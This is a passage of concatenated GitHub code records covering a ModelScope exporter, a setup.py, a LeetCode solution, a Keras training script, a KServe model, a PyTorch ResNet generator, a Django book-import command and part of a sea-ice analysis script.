    shape: A tuple of input shape which should have at most two dimensions.\n                shape = (1, ) batch_size=1, sequence_length will be taken from the preprocessor.\n                shape = (8, 128) batch_size=1, sequence_length=128, which will cover the config of the preprocessor.\n            pair(bool, `optional`): Whether to generate sentence pairs or single sentences.\n\n        Returns:\n            Dummy inputs.\n        \"\"\"\n\n        assert hasattr(\n            self.model, 'model_dir'\n        ), 'model_dir attribute is required to build the preprocessor'\n        batch_size = 1\n        sequence_length = {}\n        if shape is not None:\n            if len(shape) == 1:\n                batch_size = shape[0]\n            elif len(shape) == 2:\n                batch_size, max_length = shape\n                sequence_length = {'sequence_length': max_length}\n\n        preprocessor = Preprocessor.from_pretrained(\n            self.model.model_dir,\n            preprocessor_mode=ModeKeys.TRAIN,\n            task=Tasks.text_classification,\n            **sequence_length)\n        if pair:\n            first_sequence = preprocessor.nlp_tokenizer.tokenizer.unk_token\n            second_sequence = preprocessor.nlp_tokenizer.tokenizer.unk_token\n        else:\n            first_sequence = preprocessor.nlp_tokenizer.tokenizer.unk_token\n            second_sequence = None\n\n        batched = []\n        for _ in range(batch_size):\n            batched.append(preprocessor((first_sequence, second_sequence)))\n        return default_collate(batched)\n\n    @property\n    def inputs(self) -> Mapping[str, Mapping[int, str]]:\n        dynamic_axis = {0: 'batch', 1: 'sequence'}\n        return OrderedDict([\n            ('input_ids', dynamic_axis),\n            ('attention_mask', dynamic_axis),\n            ('token_type_ids', dynamic_axis),\n        ])\n\n    @property\n    def outputs(self) -> Mapping[str, Mapping[int, str]]:\n        return OrderedDict({'logits': {0: 'batch'}})\n","repo_name":"modelscope/modelscope","sub_path":"modelscope/exporters/nlp/sbert_for_sequence_classification_exporter.py","file_name":"sbert_for_sequence_classification_exporter.py","file_ext":"py","file_size_in_byte":3409,"program_lang":"python","lang":"en","doc_type":"code","stars":4825,"dataset":"github-code","pt":"16"}
+{"seq_id":"10660539947","text":"#!/usr/bin/python3.5\n\n\nfrom setuptools import setup, find_packages\n\ntry:\n    import pypandoc\n    long_description = pypandoc.convert('README.md', 'rst')\nexcept (IOError, ImportError):\n    long_description = open('README.md').read()\n\nwith open('requirements.txt') as f:\n    requirements = f.read().splitlines()\n\nversion = '0.1'\n\nsetup(\n    name='milanbot',\n    version=version,\n    install_requires=requirements,\n    author='Milan Jelisavcic',\n    author_email='milan.jelisavcic@gmail.com',\n    packages=find_packages(),\n    include_package_data=True,\n    url='https://github.com/milanjelisavcic/milanbot',\n    license='Unlicense',\n    description='A bot-kit for fixing data on Wikidata and Wikipedia.',\n    long_description=long_description,\n    entry_points={\n        'console_scripts': [\n            'milanbot = milanbot:cli',\n        ]\n    },\n)","repo_name":"milanjelisavcic/milanbot","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10087605012","text":"# Definition for singly-linked list.\nfrom typing import Optional\n\n\nclass ListNode:\n    def __init__(self, val=0, next=None):\n        self.val = val\n        self.next = next\n\n\nclass Solution:\n    def removeElements(self, head: Optional[ListNode], val: int) -> Optional[ListNode]:\n        return self.removeElementIterator(head, val)\n\n    def removeElementIterator(self, node: ListNode, target_val: int) -> ListNode:\n        dummy_head = ListNode(0)\n        dummy_head.next = node\n\n        current_node = node\n        previous_node = dummy_head\n        while current_node:\n            if current_node.val == target_val:\n                previous_node.next = current_node.next\n                current_node = current_node.next\n            else:\n                current_node = current_node.next\n                previous_node = previous_node.next\n        return dummy_head.next\n\n\nif __name__ == \"__main__\":\n    obj = Solution()\n    node = ListNode(1)\n    node.next = ListNode(2)\n    node.next.next = ListNode(6)\n    node.next.next.next = ListNode(3)\n    node.next.next.next.next = ListNode(4)\n    node.next.next.next.next.next = ListNode(5)\n    node.next.next.next.next.next.next = ListNode(6)\n\n    obj.removeElements(node, 6)\n\n\n","repo_name":"vhzpt109/Algorithm","sub_path":"LeetCode/203. Remove Linked List Elements.py","file_name":"203. Remove Linked List Elements.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8146242676","text":"import os\nimport re\nimport sys\nimport time\nimport math\nimport numpy as np\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '1'  # cleanup tf verbosity\n\nfrom tqdm import tqdm\nimport tensorflow as tf\nimport torch\nimport compose_net\n\nBATCH_SIZE = 128\nEPOCHS = 15 \nPERCENT_OF_DATASET = 100\n\nN_FEATURES = 1\nNORMALIZE_INPUTS = True\nSHUFFLE_DATASET = True\nREMOVE_REP_DATA = True\n\nFEATURE_ID = 1\n\nWINDOW_LENGTHS = [128]\nWINDOW_STRIDE = 1\nTARGET_INDICES = [-1] # -1 is all\n\nACTIVATIONS = [\n    'tanh',\n    # 'elu',\n    # 'relu',\n    # 'sigmoid',\n    # 'leaky_relu'\n]\n\n# Classifiers to try:\nLAYER_DEFS_KERAS = [\n    ['BLL', 128, 'D', 0.2, 'BLL', 128, 'TNS', -1 ],\n]\n\ndef checkValid( dataSet ):\n    if (np.isinf(dataSet)).any() or (np.isnan(dataSet)).any():\n        print( 'inf or nan found in dataSet, exiting')\n        sys.exit()\n    return\n\ndef normalizeDsetToFile(trainInput, normalizedPrefix):\n    outFile = 'genTrainNormalizeMeanStd_' + normalizedPrefix + '.txt'\n    with open(outFile, \"w\") as f:\n        np.savetxt(f, trainInput.mean(0))\n        f.write('+++\\n')\n        np.savetxt(f, trainInput.std(0))\n    return\n\ndef normalizeDsetFromFile( trainInput, testInput, normalizedPrefix ):\n    outFile = 'genTrainNormalizeMeanStd_' + normalizedPrefix + '.txt'\n    with open(outFile, 'r') as fileHandle:\n        delimited = fileHandle.read().split(\"+++\") # last delimited should be avoided, since empty\n        trainInputMean = np.reshape(np.fromstring(delimited[0], sep=\" \"),(-1,1)) \n        trainInputStd = np.reshape(np.fromstring(delimited[1], sep=\" \"),(-1,1)) \n\n    testInput = (testInput - trainInputMean) / trainInputStd\n    trainInput = (trainInput - trainInputMean) / trainInputStd\n    return trainInput, testInput   \n\ndef preprocSplitDatasetToParamWindow( trainFile, wL, targetIndex, fileTypeEnum, normalizedPrefix ):\n    windowLength = abs(wL)\n\n    if targetIndex == -1:\n        indexOfTarget = 'ALL'\n    else:\n        indexOfTarget = targetIndex\n\n    if fileTypeEnum == 1: # train\n        tmpFile = \"genTrainDataSetFromSeriesSplit_\" + str(windowLength) + \"_\" + str(WINDOW_STRIDE) + \"_\" + str(FEATURE_ID) + \"_\" + str(indexOfTarget) + \".bin\"\n    elif fileTypeEnum == 0: # test\n        tmpFile = \"genTestDataSetFromSeriesSplit_\" + str(windowLength) + \"_\" + str(WINDOW_STRIDE) + \"_\" + str(FEATURE_ID) + \"_\" + str(indexOfTarget) + \".bin\"\n    elif fileTypeEnum == 2: # both\n        tmpFile = \"genBothDataSetFromSeriesSplit_\" + str(windowLength) + \"_\" + str(WINDOW_STRIDE) + \"_\" + str(FEATURE_ID) + \"_\" + str(indexOfTarget) + \".bin\"\n\n    if not os.path.isfile(tmpFile):\n        #create it\n        print('{} does not exist, creating it'.format(tmpFile))\n        numSequenceSamples = 0\n        numSequenceSamplesSkipped = 0\n        with open(tmpFile, \"wb\") as f: \n            with open(trainFile, 'r') as fileHandle:\n                next(fileHandle)\n                delimited = fileHandle.read().split(\"+++\") # last delimited should be avoided, since empty\n                for inferenceID in tqdm(np.arange(len(delimited) - 1)):\n                    scan_class_seg = np.reshape(np.fromstring(delimited[inferenceID], sep=\" \"),(-1,3)) \n\n                    for startIdx in np.arange(0, scan_class_seg.shape[0]- windowLength, WINDOW_STRIDE):\n                        window = scan_class_seg[startIdx:startIdx+windowLength,0]\n                        if targetIndex == -1:\n                            target = scan_class_seg[startIdx:startIdx+windowLength, FEATURE_ID]\n                            if REMOVE_REP_DATA and fileTypeEnum == 1: # cull only training data\n                                if len(np.unique(target)) < 2 and np.random.randint(0, 2) > 0: # all same and 1/2 chance\n                                    numSequenceSamplesSkipped += 1\n                                    continue\n                        else:\n                            target = scan_class_seg[startIdx + indexOfTarget, FEATURE_ID]\n                        sequenceSample = np.concatenate( (window, target), axis=None )\n                        sequenceSample.tofile(f)\n                        numSequenceSamples += 1\n        print('numSequenceSamples {}, num skipped {}'.format(numSequenceSamples, numSequenceSamplesSkipped))\n    else:\n        print('{} already exists! Using it'.format(tmpFile))\n\n    with open(tmpFile, 'rb') as f:\n        dataset = np.fromfile(f)\n        checkValid(dataset)\n\n        if targetIndex == -1:\n            dataset = dataset.reshape(-1, 2*windowLength)\n        else:\n            dataset = dataset.reshape(-1, windowLength + 1)\n\n        if fileTypeEnum == 1:\n            if NORMALIZE_INPUTS:\n                print('NORMALIZE_INPUTS is ON, saving to file')\n                normalizeDsetToFile(dataset[:, :windowLength], normalizedPrefix)\n            else:\n                print('NORMALIZE_INPUTS is OFF, not saving to file')\n\n        endOfDataset = int(dataset.shape[0] * PERCENT_OF_DATASET/100.0)    \n        if SHUFFLE_DATASET:\n            print('SHUFFLE_DATASET is ON')\n            np.random.shuffle(dataset)\n        else:\n            print('SHUFFLE_DATASET is OFF')\n\n        inputData = dataset[:endOfDataset, :windowLength]\n        targetData = dataset[:endOfDataset, windowLength:]\n\n        print('num unique classes starting with: {} as: {}'.format( len(np.unique(targetData)), np.unique(targetData) ))\n\n        if fileTypeEnum == 2:\n            testInputData = dataset[endOfDataset:, :windowLength]\n            testTargetData = dataset[endOfDataset:, windowLength:]\n\n        inputData = inputData.reshape(inputData.shape[0],inputData.shape[1], N_FEATURES)\n        if fileTypeEnum == 2:\n            testInputData = testInputData.reshape(testInputData.shape[0], testInputData.shape[1], N_FEATURES)\n\n        if targetIndex == -1: # if predicting multiple timesteps per sample, target must be 3D\n            targetData = targetData.reshape(targetData.shape[0], targetData.shape[1], N_FEATURES)\n            if fileTypeEnum == 2:\n                testTargetData = testTargetData.reshape(testTargetData.shape[0], testTargetData.shape[1], N_FEATURES)\n        else:\n            targetData = targetData.reshape(targetData.shape[0], N_FEATURES)\n            if fileTypeEnum == 2:\n                testTargetData = testTargetData.reshape(testTargetData.shape[0], N_FEATURES)\n\n        print('inputData shaped: {}, target shaped: {}, unique classes: {}|{}'.format(\n            inputData.shape, targetData.shape, len(np.unique(targetData)), np.unique(targetData) ))\n        assert(  inputData.shape[0] == targetData.shape[0] )\n        if fileTypeEnum == 2:\n            print('testInputData shaped: {}'.format(testInputData.shape))\n            print('testTargetData shaped: {}'.format(testTargetData.shape))\n            print('num unique classes: {}'.format( len(np.unique(testTargetData)) ))\n            assert( testInputData.shape[0] == testTargetData.shape[0] )\n            return inputData, targetData, testInputData, testTargetData\n        else:\n            return inputData, targetData\n\ndef run_timeSeries( BATCH_SIZE, EPOCHS, runPrefix, hidden_layers, act_fun, x_train, y_train, x_test, y_test, windowLength, targetIndex, normalizedPrefix ):\n\n    checkpoint_dir = \"training_ckpts\"\n    if not os.path.isdir(checkpoint_dir):\n        os.mkdir(checkpoint_dir)\n\n    if NORMALIZE_INPUTS:\n        print('NORMALIZE_INPUTS is ON')\n        x_train, x_test = normalizeDsetFromFile(x_train, x_test, normalizedPrefix)\n    else:\n        print('NORMALIZE_INPUTS is OFF')\n\n    n_classes = len(np.unique(y_train))\n\n    print('windowLength ', windowLength )\n    model = tf.keras.Sequential()\n    if windowLength < 0: # and targetIndex < 0:\n        input_shape = (None, N_FEATURES)\n    else:\n        input_shape = (windowLength, N_FEATURES)\n    model.add( tf.keras.layers.InputLayer(input_shape))\n\n    if FEATURE_ID == 1:\n        model = compose_net.kerasHidden(model, hidden_layers, act_fun, n_classes)\n    elif FEATURE_ID == 2:\n        model = compose_net.kerasHidden(model, hidden_layers, act_fun, 1)\n\n    # if softmax, from_logits=False, if no softmax but linear, from_logits=True\n    if FEATURE_ID == 1:\n        print('FEATURE_ID 1 model compile')\n        model.compile(\n                    optimizer='adam',\n                    loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=False),\n                    metrics=['acc'])\n        print('FEATURE_ID 1 model compiled')\n\n    elif FEATURE_ID ==2:\n        print('BinaryCrossentropy')\n        model.compile(\n                    # optimizer='adam',\n                    optimizer='rmsprop',\n                    loss=tf.keras.losses.BinaryCrossentropy(from_logits=False),\n                    metrics=['acc'])\n    print('model summary:\\n',model.summary())\n\n    # monitor_term = 'val_loss'\n    monitor_term = 'val_acc'\n\n    # Create a callback that saves the model's weights\n    checkpoint_path = checkpoint_dir + \"/\" + runPrefix +\".hdf5\"\n    cp_callback = tf.keras.callbacks.ModelCheckpoint(filepath=checkpoint_path, save_best_only=True, verbose=1, monitor=monitor_term)\n\n    # train\n    historyOp = model.fit( x_train, y_train, batch_size=BATCH_SIZE, epochs=EPOCHS, callbacks=[cp_callback], shuffle=SHUFFLE_DATASET,\n                                validation_data=(x_test,y_test), class_weight=None, validation_freq=1, verbose=1)\n\n    # save model\n    history = historyOp.history\n    lowestValLoss = np.amin(history[monitor_term])\n    model = tf.keras.models.load_model(checkpoint_path)\n    save_path = 'saved_{:.5f}_'.format( lowestValLoss )  + str(windowLength) + \"_\" + str(WINDOW_STRIDE) + '_' + str(BATCH_SIZE) \\\n                            + '_' + str(hidden_layers).replace(\" \", \"\") + '.hdf5'\n    model.save( save_path )\n    print(\"Model saved in path: %s\" % save_path)\n    return\n\ndef trainClassifier():\n    origStart = time.time()\n    indexRun = 0\n    timestring = time.strftime(\"%Y%m%d-%H%M%S\") + '_'\n\n    trainFile = 'genData_t00_FULL_train_timeseries_+++.txt'\n    testFile = 'genData_t01_timeseries_+++.txt'\n    numRuns = len(LAYER_DEFS_KERAS) * len(ACTIVATIONS) * len(TARGET_INDICES) * len(WINDOW_LENGTHS)\n    for windowLength in WINDOW_LENGTHS:\n        if windowLength < 0:\n            wID = 'N' + str(-windowLength)\n        else:\n            wID = windowLength\n\n        for tIdx in TARGET_INDICES:\n            if tIdx == -1:\n                tID = 'ALL'\n            else:\n                tID = tIdx\n\n            normalizedPrefix = timestring + str(wID) + \"_\" + str(tID) \\\n                                            + \"_\" + str(PERCENT_OF_DATASET) + \"_b_\" + str(BATCH_SIZE) \\\n                                            + \"_e_\" + str(EPOCHS)\n            testInput, testTarget = preprocSplitDatasetToParamWindow(testFile, windowLength, tIdx, 0, normalizedPrefix )\n            trainInput, trainTarget = preprocSplitDatasetToParamWindow(trainFile, windowLength, tIdx, 1, normalizedPrefix )\n            # trainInput, trainTarget, testInput, testTarget = preprocSplitDatasetToParamWindow(bothFile, windowLength, tIdx, 2, normalizedPrefix )\n            assert( len(np.unique(trainTarget)) == len(np.unique(testTarget)) )\n\n            for layer in range(len(LAYER_DEFS_KERAS)):\n                specs = LAYER_DEFS_KERAS[layer]\n                for activation in ACTIVATIONS:\n                    tf.compat.v1.reset_default_graph() # clear graphs\n                    torch.cuda.empty_cache() # clear GPU\n\n                    start = time.time()\n                    if activation == 'relu':\n                        act = tf.nn.relu\n                    if activation == 'elu':\n                        act = tf.nn.elu\n                    elif activation == 'tanh':\n                        act = tf.math.tanh\n                    elif activation == 'sigmoid':\n                        act = tf.math.sigmoid\n                    else:\n                        act = tf.nn.leaky_relu\n\n                    runPrefix = timestring + str(indexRun).zfill(3) + \"_\" + str(wID) + \"_\" + str(tID) \\\n                                            + \"_\" + str(PERCENT_OF_DATASET) + \"_\" + activation + \"_b_\" + str(BATCH_SIZE) \\\n                                            + \"_e_\" + str(EPOCHS) + \"_\" + str(specs).replace(\" \", \"\") \n                    indexRun += 1\n                    print('attempting {}/{} aka: {}'.format(indexRun, numRuns, runPrefix))\n                    run_timeSeries( BATCH_SIZE, EPOCHS, runPrefix, specs, act, trainInput, trainTarget, \n                                                testInput, testTarget, windowLength, tIdx, normalizedPrefix)\n                    print(\"Finished training {} in {:.2f}s\\n\".format(runPrefix, time.time() - start))\n\n    print(\"Finished Comparing Networks in {:.2f}s\".format(time.time() - origStart))\n    return\n\ndef main():\n    if len(sys.argv) == 1:\n        trainClassifier()\n    else:\n        print('missing windowLength argument, or too many arguments')\n        print('insufficient arguments %d' % len(sys.argv))\n        for i in range(len(sys.argv)):\n            print('%d %s' % (i, sys.argv[i]))\n\nif __name__ == '__main__':\n    main()\n","repo_name":"henriquetmaia/gpuNetSnooper","sub_path":"train_signal_classifier.py","file_name":"train_signal_classifier.py","file_ext":"py","file_size_in_byte":12999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74655159368","text":"import kserve\nfrom kserve import ModelServer, model_server\nfrom typing import Dict\nimport logging\nimport time\n\n\nlogging.basicConfig(level=kserve.constants.KSERVE_LOGLEVEL)\n\n\ndef custom_predict(instance):\n    logging.info(instance)\n    return 0.5\n\n\n# for REST predictor the preprocess handler converts to input dict to the v1 REST protocol dict\nclass CustomModel(kserve.Model):\n    def __init__(self, name: str):\n        super().__init__(name)\n        self.name = name\n        self.ready = False\n\n    def load(self):\n        logging.info(\"load..\")\n        time.sleep(10)\n        self.ready = True\n        logging.info(\"ready!\")\n\n    def predict(self, payload: Dict, headers: Dict[str, str] = None) -> Dict:\n        return {\"predictions\": [custom_predict(instance) for instance in payload['instances']]}\n\n\nif __name__ == \"__main__\":\n    model = CustomModel(\"custom-model\")\n    model.load()\n    ModelServer(workers=1).start(models=[model])\n","repo_name":"bigflood/kserve-in-kind","sub_path":"lab/kservelab/custom_model.py","file_name":"custom_model.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17367514254","text":"\"\"\"\nOriginally from:\nhttps://github.com/taesungp/contrastive-unpaired-translation/blob/master/models/networks.py#L915\n\"\"\"\n\nimport functools\n\nimport torch\nimport torch.nn as nn\n\nfrom CALAE.layers import Downsample, Upsample\n\nclass ResnetGenerator(nn.Module):\n    \"\"\"Resnet-based generator that consists of Resnet blocks between a few downsampling/upsampling operations.\n    We adapt Torch code and idea from Justin Johnson's neural style transfer project(https://github.com/jcjohnson/fast-neural-style)\n    \"\"\"\n\n    def __init__(self, input_nc, output_nc, ngf=64, norm_layer=nn.BatchNorm2d, use_dropout=False, n_blocks=6, padding_type='reflect', no_antialias=False, no_antialias_up=False, opt=None):\n        \"\"\"Construct a Resnet-based generator\n        Parameters:\n            input_nc (int)      -- the number of channels in input images\n            output_nc (int)     -- the number of channels in output images\n            ngf (int)           -- the number of filters in the last conv layer\n            norm_layer          -- normalization layer\n            use_dropout (bool)  -- if use dropout layers\n            n_blocks (int)      -- the number of ResNet blocks\n            padding_type (str)  -- the name of padding layer in conv layers: reflect | replicate | zero\n        \"\"\"\n        assert(n_blocks >= 0)\n        super().__init__()\n        self.opt = opt\n        if type(norm_layer) == functools.partial:\n            use_bias = norm_layer.func == nn.InstanceNorm2d\n        else:\n            use_bias = norm_layer == nn.InstanceNorm2d\n\n        model = [nn.ReflectionPad2d(3),\n                 nn.Conv2d(input_nc, ngf, kernel_size=7, padding=0, bias=use_bias),\n                 norm_layer(ngf),\n                 nn.ReLU(True)]\n\n        n_downsampling = 2\n        for i in range(n_downsampling):  # add downsampling layers\n            mult = 2 ** i\n            if(no_antialias):\n                model += [nn.Conv2d(ngf * mult, ngf * mult * 2, kernel_size=3, stride=2, padding=1, bias=use_bias),\n                          norm_layer(ngf * mult * 2),\n                          nn.ReLU(True)]\n            else:\n                model += [nn.Conv2d(ngf * mult, ngf * mult * 2, kernel_size=3, stride=1, padding=1, bias=use_bias),\n                          norm_layer(ngf * mult * 2),\n                          nn.ReLU(True),\n                          Downsample(ngf * mult * 2)]\n\n        mult = 2 ** n_downsampling\n        for i in range(n_blocks):       # add ResNet blocks\n\n            model += [ResnetBlock(ngf * mult, padding_type=padding_type, norm_layer=norm_layer, use_dropout=use_dropout, use_bias=use_bias)]\n\n        for i in range(n_downsampling):  # add upsampling layers\n            mult = 2 ** (n_downsampling - i)\n            if no_antialias_up:\n                model += [nn.ConvTranspose2d(ngf * mult, int(ngf * mult / 2),\n                                             kernel_size=3, stride=2,\n                                             padding=1, output_padding=1,\n                                             bias=use_bias),\n                          norm_layer(int(ngf * mult / 2)),\n                          nn.ReLU(True)]\n            else:\n                model += [Upsample(ngf * mult),\n                          nn.Conv2d(ngf * mult, int(ngf * mult / 2),\n                                    kernel_size=3, stride=1,\n                                    padding=1,  # output_padding=1,\n                                    bias=use_bias),\n                          norm_layer(int(ngf * mult / 2)),\n                          nn.ReLU(True)]\n        model += [nn.ReflectionPad2d(3)]\n        model += [nn.Conv2d(ngf, output_nc, kernel_size=7, padding=0)]\n        model += [nn.Tanh()]\n\n        self.model = nn.Sequential(*model)\n\n    def forward(self, x, layers=[], encode_only=False):\n        if -1 in layers:\n            layers.append(len(self.model))\n        if len(layers) > 0:\n            feat = x\n            feats = []\n            for layer_id, layer in enumerate(self.model):\n                feat = layer(feat)\n                if layer_id in layers:\n                    feats.append(feat)\n                else:\n                    pass\n                if layer_id == layers[-1] and encode_only:\n                    return feats  # return intermediate features alone; stop in the last layers\n\n            return feat, feats  # return both output and intermediate features\n        else:\n            \"\"\"Standard forward\"\"\"\n            fake = self.model(x)\n            return fake  \n\nclass ResBlocks(nn.Module):\n    def __init__(self, num_blocks, dim, norm='inst', activation='relu', pad_type='zero', nz=0):\n        super().__init__()\n        self.model = []\n        for i in range(num_blocks):\n            self.model += [ResBlock(dim, norm=norm, activation=activation, pad_type=pad_type, nz=nz)]\n        self.model = nn.Sequential(*self.model)\n\n    def forward(self, x):\n        return self.model(x)\n\nclass ResBlock(nn.Module):\n    def __init__(self, dim, norm='inst', activation='relu', pad_type='zero', nz=0):\n        super().__init__()\n\n        model = []\n        model += [Conv2dBlock(dim + nz, dim, 3, 1, 1, norm=norm, activation=activation, pad_type=pad_type)]\n        model += [Conv2dBlock(dim, dim + nz, 3, 1, 1, norm=norm, activation='none', pad_type=pad_type)]\n        self.model = nn.Sequential(*model)\n\n    def forward(self, x):\n        residual = x\n        out = self.model(x)\n        out += residual\n        return out\n\n\nclass Conv2dBlock(nn.Module):\n    def __init__(self, input_dim, output_dim, kernel_size, stride,\n                 padding=0, norm='none', activation='relu', pad_type='zero'):\n        super().__init__()\n        self.use_bias = True\n        # initialize padding\n        if pad_type == 'reflect':\n            self.pad = nn.ReflectionPad2d(padding)\n        elif pad_type == 'zero':\n            self.pad = nn.ZeroPad2d(padding)\n        else:\n            assert 0, \"Unsupported padding type: {}\".format(pad_type)\n\n        # initialize normalization\n        norm_dim = output_dim\n        if norm == 'batch':\n            self.norm = nn.BatchNorm2d(norm_dim)\n        elif norm == 'inst':\n            self.norm = nn.InstanceNorm2d(norm_dim, track_running_stats=False)\n        elif norm == 'ln':\n            self.norm = nn.LayerNorm(norm_dim)\n        elif norm == 'none':\n            self.norm = None\n        else:\n            assert 0, \"Unsupported normalization: {}\".format(norm)\n\n        # initialize activation\n        if activation == 'relu':\n            self.activation = nn.ReLU(inplace=True)\n        elif activation == 'lrelu':\n            self.activation = nn.LeakyReLU(0.2, inplace=True)\n        elif activation == 'prelu':\n            self.activation = nn.PReLU()\n        elif activation == 'selu':\n            self.activation = nn.SELU(inplace=True)\n        elif activation == 'tanh':\n            self.activation = nn.Tanh()\n        elif activation == 'none':\n            self.activation = None\n        else:\n            assert 0, \"Unsupported activation: {}\".format(activation)\n\n        # initialize convolution\n        self.conv = nn.Conv2d(input_dim, output_dim, kernel_size, stride, bias=self.use_bias)\n\n    def forward(self, x):\n        x = self.conv(self.pad(x))\n        if self.norm:\n            x = self.norm(x)\n        if self.activation:\n            x = self.activation(x)\n        return x\n","repo_name":"milesgray/CALAE","sub_path":"models/resnet.py","file_name":"resnet.py","file_ext":"py","file_size_in_byte":7357,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"17891432202","text":"import json\nimport os\nimport sys\n\nfrom datetime import datetime\n\nfrom django.core.files import File\nfrom django.core.management import BaseCommand\n\nfrom app_book.models import Book, Author, Category\nfrom utils.management.download_file import download_file\nfrom utils.management.download_image import download_image\n\n\nclass Command(BaseCommand):\n    help = \"Парсинг json-файла для заполнения базы данных...\"\n\n    def add_arguments(self, file_url):\n        file_url.add_argument(\"file_url\", type=str)\n\n    def handle(self, *args, **options):\n        toolbar_width = 50\n\n        sys.stdout.write(f\"Processing... │{' ' * toolbar_width}│\")\n        sys.stdout.flush()\n        sys.stdout.write(\n            \"\\b\" * (toolbar_width + 1))\n\n        file_url = options.get(\"file_url\")\n\n        file_path = download_file(file_url, \"books.json\")\n\n        category_is_new: Category = Category.objects.filter(\n            category=\"New\"\n        ).first()\n\n        if not category_is_new:\n            category_is_new = Category.objects.create(\n                category=\"New\"\n            )\n\n        with open(file_path, \"r\") as file:\n            books = json.load(file)\n\n        progress = len(books)\n        last_point = 0\n\n        for book, counter in zip(books, range(progress)):\n            isbn = book.get(\"isbn\")\n\n            if not isbn:\n                continue\n\n            if Book.objects.filter(isbn=isbn):\n                last_point = self.progress_bar(counter, progress, last_point)\n                continue\n\n            authors: list = self.get_or_create_authors(book[\"authors\"])\n            categories: list = book[\"categories\"]\n\n            if len(categories) == 0:\n                categories.append(category_is_new.id)\n            else:\n                categories: list = self.get_or_create_categories(categories)\n\n            date = book.get(\"publishedDate\")\n\n            if date:\n                date = datetime.strptime(date[\"$date\"].split(\"T\")[0], \"%Y-%m-%d\")\n\n            instance = Book.objects.create(\n                title=book.get(\"title\"),\n                isbn=book.get(\"isbn\"),\n                page_count=book.get(\"pageCount\"),\n                published_date=date,\n                short_description=book.get(\"shortDescription\"),\n                long_description=book.get(\"longDescription\"),\n                status=book.get(\"status\"),\n            )\n            instance.authors.set(authors)\n            instance.categories.set(categories)\n\n            if book.get(\"thumbnailUrl\") is not None:\n                book_jacket = download_image(\n                    book.get(\"thumbnailUrl\"),\n                    \"../../../media/book_jacket\",\n                    instance.id,\n                )\n\n                if book_jacket is not None:\n                    with open(book_jacket, mode=\"rb\") as f:\n                        instance.jacket = File(f, name=book_jacket)\n                        instance.save()\n                        os.remove(book_jacket)\n\n            last_point = self.progress_bar(counter, progress, last_point)\n\n        sys.stdout.write(\"░│\\n\")\n        sys.stdout.write(\"Parsing completed!\\n\")\n\n    @staticmethod\n    def get_or_create_authors(authors: list) -> list:\n        res_authors = list()\n\n        for name in authors:\n            if len(name.strip()) < 1:\n                continue\n\n            author: Author = Author.objects.filter(author=name).first()\n\n            if author is None:\n                author: Author = Author.objects.create(author=name)\n\n            res_authors.append(author.id)\n\n        return res_authors\n\n    @staticmethod\n    def get_or_create_categories(categories: list) -> list:\n        res_categories = list()\n\n        for name in categories:\n            if len(name.strip()) < 1:\n                continue\n\n            category: Category = Category.objects.filter(\n                category__icontains=name\n            ).first()\n\n            if category is None:\n                category: Category = Category.objects.create(\n                    category=name\n                )\n\n            res_categories.append(category.id)\n\n        return res_categories\n\n    @staticmethod\n    def progress_bar(counter: int, progress: int, last_point: int) -> int:\n        checkpoint = round(counter / progress, 2) * 100\n\n        if (checkpoint % 2 == 0 and checkpoint != last_point) \\\n                or last_point == 0:\n            last_point = checkpoint\n            sys.stdout.write(\"░\")\n            sys.stdout.flush()\n\n        return last_point\n","repo_name":"DanilaLuboimov/Library","sub_path":"src/app_book/management/commands/parse_books_json_by_url.py","file_name":"parse_books_json_by_url.py","file_ext":"py","file_size_in_byte":4531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"36640667731","text":"# Calculate ice dynamic budgets in hear\n\nimport datetime\nimport data_science as ds\nimport cftime\nimport netCDF4 as nc\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport cartopy.crs as ccrs\nimport case_information as ci\nimport plot\nfrom calendar import monthrange\nfrom pandas import date_range\n\n\ndef max_matrix(cap, M):\n    return max(cap, abs(np.nanmin(M)), np.nanmax(M))\n\n\nclass IceData:\n    def __init__(self, extent=ci.arctic_extent):\n        self.ds_spring = nc.Dataset('./data/ERA5_METAs_remapbil_drift.nc')\n        self.ds_winter = nc.Dataset('./data/ERA5_METAw_remapbil_drift.nc')\n        self.ds_spring_monthly = nc.Dataset('./data/ERA5_avg_METAs_remapbil_drift.nc')\n        self.ds_winter_monthly = nc.Dataset('./data/ERA5_avg_METAw_remapbil_drift.nc')\n        self.ds_drift = nc.Dataset('./data/drift_combined.nc')\n        self.ds_drift_monthly = nc.Dataset('./data/drift_maverage.nc')\n\n        self.extent = extent\n        self.nrows, self.ncols = 2, 4\n        self.time = None\n        self.xc = 1000 * self.ds_spring['xc'][:]\n        self.yc = 1000 * self.ds_spring['yc'][:]\n        self.step_size = 62500\n        self.dt = 24 * 60 * 60\n\n        self.advs, self.divs, self.ints, self.ress = [], [], [], []\n        self.adv_cap, self.div_cap, self.int_cap, self.res_cap = 0, 0, 0, 0\n\n    def get_variable(self, date, variable='siconc'):\n        data_set = None\n        d1 = datetime.datetime(int(date[:4]), int(date[4:6]), int(date[6:]), 0, 0, 0, 0)\n        d2 = datetime.datetime(int(date[:4]), int(date[4:6]), int(date[6:]), 18, 0, 0, 0)\n        if d1.year == 2019:\n            data_set = self.ds_winter\n        elif d1.year == 2020:\n            data_set = self.ds_spring\n\n        self.time = data_set['time']\n        var = data_set[variable][:]\n        t1, t2 = cftime.date2index([d1, d2], self.time)  # cftime nows unit from ds\n\n        mean_var = np.zeros(var[0].shape)\n        for t in range(t1, t2 + 1):\n            mean_var += var[t]\n\n        mean_var[mean_var < 0.0] = np.nan\n        return .25 * mean_var\n\n    def get_drift(self, date):\n        d1 = datetime.datetime(int(date[:4]), int(date[4:6]), int(date[6:]), 12, 0, 0, 0) - datetime.timedelta(days=1)\n        self.time = self.ds_drift['time']\n        t1 = 